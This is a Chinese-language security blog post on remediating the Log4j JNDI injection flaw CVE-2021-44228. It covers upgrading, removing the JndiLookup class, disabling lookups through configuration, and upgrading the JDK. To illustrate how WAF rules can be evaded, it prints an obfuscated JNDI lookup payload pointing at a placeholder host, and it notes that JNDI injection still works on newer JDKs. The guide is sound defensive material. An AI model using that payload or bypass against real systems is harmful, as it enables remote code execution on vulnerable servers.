长亭百川云 - 文章详情

Log4j 严重漏洞修复方案参考

安全引擎

60

2024-07-13

CVE-2021-44228,原理上是 log4j-core 代码中的 JNDI 注入漏洞。这个漏洞可以直接导致服务器被入侵,而且由于“日志”场景的特性,攻击数据可以多层传导,甚至可以威胁到纯内网的服务器。log4j 作为 Java 开发的基础公共日志类,使用范围非常广,漏洞必定影响深远,想想当年commons-collections反序列化漏洞的影响范围。

Github漏洞公告:https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

影响 < 2.15.0 的所有 2.x 版本。也就是说,除了最新版本之外的所有版本都受影响。

最直接、有效、稳定的修复方式是:将 log4j-core 升级到最新版本

如果实在无法升级,可以尝试把漏洞类删掉。其他修复方式可以结合使用,起到比较好的快速缓解作用,但受限于不同的环境和业务场景,可能会产生各种各样比较麻烦的问题或者未来的隐患。长期修复方案需要保证稳定、可靠、持久有效,这种严重漏洞值得一个发布和重启。

2.15.0 版本下载地址:https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-core/

pom.xml 配置

<dependency>    <groupId>org.apache.logging.log4j</groupId>    <artifactId>log4j-core</artifactId>    <version>2.15.0</version></dependency>

缓解方式1:接入安全产品

第一时间上WAF规则、RASP拦截等措施,给修复争取时间。

但是也要注意一些静态规则上的绕过,log4j 支持的写法比较多,有非常多绕过姿势。比如:

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

缓解方式2:删除漏洞类

通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案。直接删除 log4j jar 包中存在漏洞的类:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这种修复比较方便快捷,一般业务代码也不会用到 jndi lookup 这个功能。不过可能会对基于版本号判定的安全数据采集造成一定困扰,无法准确统计漏洞的最新修复情况。建议删除之后在 jar 包后面加上一定的标记,如:log4j-2.14.1.sec.jar

另外,由于某些原因不想删除的话,可以自己写代码替换原始的 JndiLookup 类,将它加到业务代码中。需要注意的是,必须保证它在 log4j 原类之前加载。

package org.apache.logging.log4j.core.lookup;public class JndiLookup {    public JndiLookup() {        throw new NoClassDefFoundError("JNDI lookup is disabled");    }}

也可以做成依赖包,在 log4j-core 之前添加,可以实现同样的效果(注意不要引入不可信的第三方依赖,可能导致潜在安全风险,以下配置来源互联网,仅作为示例,请勿直接使用):

<dependency>    <groupId>org.glavo</groupId>    <artifactId>log4j-patch</artifactId>    <version>1.0</version></dependency>  

当然也可以通过RASP的方式干掉漏洞类,Github上有不少RASP的无损修复方案,比如:

https://github.com/chaitin/log4j2-vaccine

https://github.com/boundaryx/cloudrasp-log4j2

缓解方式3:通过配置禁用 log4j 的 lookup 功能

禁用的方式就比较多了。**然而下面1、2、3这几种方式对低于 2.10 版本的 log4j-core 都没有效果,4针对 2.7 以下版本无效。**而且环境变量和启动参数这种设置,在迁移或者变更的过程中丢失的可能性比较大。log4j **在 2.15.0 版本中默认就已经关闭了 lookup 功能。**建议关闭前先确认业务是否用到了 lookup 功能。

1. 设置JVM系统属性

在 Java 应用启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者在业务代码中设置系统属性:

// 必须在 log4j 实例化之前设置该系统属性System.setProperty("log4j2.formatMsgNoLookups", "true");Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);

2. 修改配置文件

在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true,配置文件放置于应用程序的 ClassPath 路径下。(可以放在代码的资源目录下,或者应用程序所在的运行目录下,建议自行编写用例测试是否生效。)

3. 设置进程环境变量

在环境变量中增加:LOG4J_FORMAT_MSG_NO_LOOKUPS=true

在 2.14.1 和 2.10.0 中实测有效

4. 设置日志输出 Pattern 格式

对于 >=2.7 的版本,在 log4j 中对每一个日志输出格式进行设置。在 %msg 占位符后面添加 {nolookups},这种配置方式的适用版本范围比上面三种更广一些。比如在 log4j2.xml 中配置:

<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <Console name="Console" target="SYSTEM_OUT">            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/>        </Console>    </Appenders>    <Loggers>        <Root level="error">            <AppenderRef ref="Console"/>        </Root>    </Loggers></Configuration>

当然,小于 2.7 的版本也不支持这种方式。

log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下,比如源代码的资源目录或者可执行程序所在的当前目录。

注意:某些配置在某些使用场景下可能不会生效。比如在 logstash 中:

**Solutions and Mitigations:**The widespread flag -Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command:

zip -q -d <LOGSTASH_HOME>/logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class

Refer: https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476

缓解方式4:升级JDK版本

对于Oracle JDK 11.0.1、8u191、7u201、6u211及以上版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载。对于反连 RCE 来说,可以起到很直接的缓解作用,可以作为增强型的加固方案。

在高版本JDK环境下,JNDI注入还是可以反序列化 RCE 的(又测了一下 8u301,依然可以),大家内网服务器上的本地 Gadget 应该也不少吧。具体内容可以参考这篇文章:https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

如何绕过高版本JDK限制进行JNDI注入利用

另外 log4j 漏洞本身除了 RCE,还存在着巨大的攻击面,比如 SSRF、敏感信息泄露等等,威胁非常大,不要企图仅仅通过升级JDK版本来修复漏洞,建议还是老老实实升级 log4j,其他通用产品的 log4j 漏洞修复方案可参考相应的官方公告。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2